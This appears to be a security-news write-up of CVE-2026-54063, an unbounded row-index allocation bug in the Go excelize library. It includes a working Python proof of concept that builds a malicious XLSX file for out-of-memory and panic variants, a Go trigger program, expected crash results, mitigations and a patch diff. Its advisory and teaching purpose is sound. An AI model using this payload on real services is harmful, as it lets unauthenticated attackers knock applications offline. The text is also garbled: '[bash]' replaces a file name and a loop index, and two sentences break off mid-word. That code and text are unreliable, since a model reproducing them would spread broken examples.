Listen to this Post
How CVE-2026-54063 Works
This vulnerability resides in the `checkSheet()` function of the `github.com/xuri/excelize/v2` library, versions prior to 2.11.0. The library is used for reading and writing Microsoft Excel (XLSX) files in Go applications. The core issue is a failure to validate an attacker-controlled XML attribute, leading to two distinct denial-of-service (DoS) scenarios.
The vulnerable code path is triggered when an application calls a cell-reading API, such as GetCellValue, GetRows, or GetCols, on a maliciously crafted XLSX file. The data flow is as follows:
1. File Ingestion: The `OpenReader` function reads the attacker-supplied XLSX file bytes.
2. ZIP Extraction: The file, being a ZIP archive, is parsed, and the worksheet XML is extracted and stored.
3. XML Parsing: When `GetCellValue` is called, the `workSheetReader` function decodes the worksheet XML into an `xlsxWorksheet` struct.
4. Unsafe Deserialization: Within the XML, the `
5. The Sink – checkSheet(): The `checkSheet()` function processes the rows. It takes the maximum `r.R` value found and uses it directly as the size argument for make([]xlsxRow, row). The constant `TotalRows = 1048576` (the Excel row limit) is defined but never applied before this memory allocation.
This lack of validation allows for two attack variants:
Variant A (OOM Kill): By setting r="2147483647", the `make()` call attempts to allocate a slice of approximately 16 GB. On a system with limited memory, this triggers a fatal `runtime: out of memory` error, causing the process to be killed by the OOM killer.
Variant B (Panic): By setting r="-1", the first loop in `checkSheet()` leaves `row = 0` (as `r.R != 0` is false). The second loop then attempts to access sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], causing a `runtime error: index out of range [-2]` panic and crashing the application.
Both variants have been confirmed to work inside a memory-limited Docker container. The attack requires no authentication and the malicious payload is a few hundred bytes, making it trivial to exploit.
DailyCVE Form
Platform: `github.com/xuri/excelize/v2`
Version: < 2.11.0
Vulnerability: Unbounded Row Index Allocation
Severity: HIGH (CVSS 7.5)
date: 2026-07-10
Prediction: 2026-07-10 (Fixed in v2.11.0)
What Undercode Say: Analytics
The vulnerability is a classic case of CWE-770: Allocation of Resources Without Limits or Throttling. The root cause is the direct use of unsanitized user input in a memory allocation operation.
Affected Code (excelize.go:373-377):
if r.R != 0 && r.R > row {
row = r.R
}
sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation
CVSS Score Breakdown:
Attack Vector (AV): Network
Attack Complexity (AC): Low
Privileges Required (PR): None
User Interaction (UI): None
Scope (S): Unchanged
Confidentiality Impact (C): None
Integrity Impact (I): None
Availability Impact (A): High
How Exploit
An attacker can exploit this vulnerability by providing a specially crafted XLSX file to a vulnerable application.
PoC: Generating the Malicious XLSX
import zipfile
Variant A: OOM → row = "2147483647"
Variant B: Panic → row = "-1"
row = "-1" Choose your variant
with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("[bash].xml", '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>''')
z.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>''')
z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>''')
z.writestr("xl/_rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>''')
z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData>
</worksheet>''')
Triggering the Vulnerability
package main
import "github.com/xuri/excelize/v2"
func main() {
f, err := excelize.OpenFile("malicious.xlsx")
if err != nil { panic(err) }
defer f.Close()
_, err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make()
if err != nil { panic(err) }
}
Expected Results:
Variant A (r=”2147483647″): Process is killed by the OOM killer (exit code 137).
Variant B (r=”-1″): Process panics with `runtime error: index out of range [-2]` (exit code 2).
Protection
The primary protection against this vulnerability is to upgrade the `excelize` library to version 2.11.0 or later.
For situations where an immediate upgrade is not possible, consider the following mitigations:
1. Validate Row Counts: Before processing, scan the XLSX file’s XML for the `
2. Sanitize Input: Reject or sanitize any XLSX file that contains a row index outside the valid range.
3. Input Validation: Implement a validation step that checks the integrity of the XLSX file before passing it to the vulnerable library function.
4. Resource Limits: Run applications that process untrusted XLSX files in containers or environments with strict memory and CPU limits to contain the impact of a potential DoS attack.
Recommended Remediation:
-func (ws xlsxWorksheet) checkSheet() {
+func (ws xlsxWorksheet) checkSheet() error {
...
for i := 0; i < len(ws.SheetData.Row); i++ {
r := ws.SheetData.Row[bash]
+ if r.R < 0 {
+ return newInvalidRowNumberError(r.R)
+ }
+ if r.R > TotalRows {
+ return ErrMaxRows
+ }
...
ws.SheetData = sheetData
+ return nil
}
Impact
This is a Denial-of-Service (DoS) vulnerability with a CVSS base score of 7.5 (HIGH).
Confidentiality Impact: None
Integrity Impact: None
Availability Impact: High
An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses the vulnerable library to open attacker-supplied XLSX files and subsequently calls any cell-reading API.
Who is impacted:
Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools).
CLI tools or batch jobs that parse user-supplied spreadsheet files.
Any application using the library to handle untrusted XLSX documents.
The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal, well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
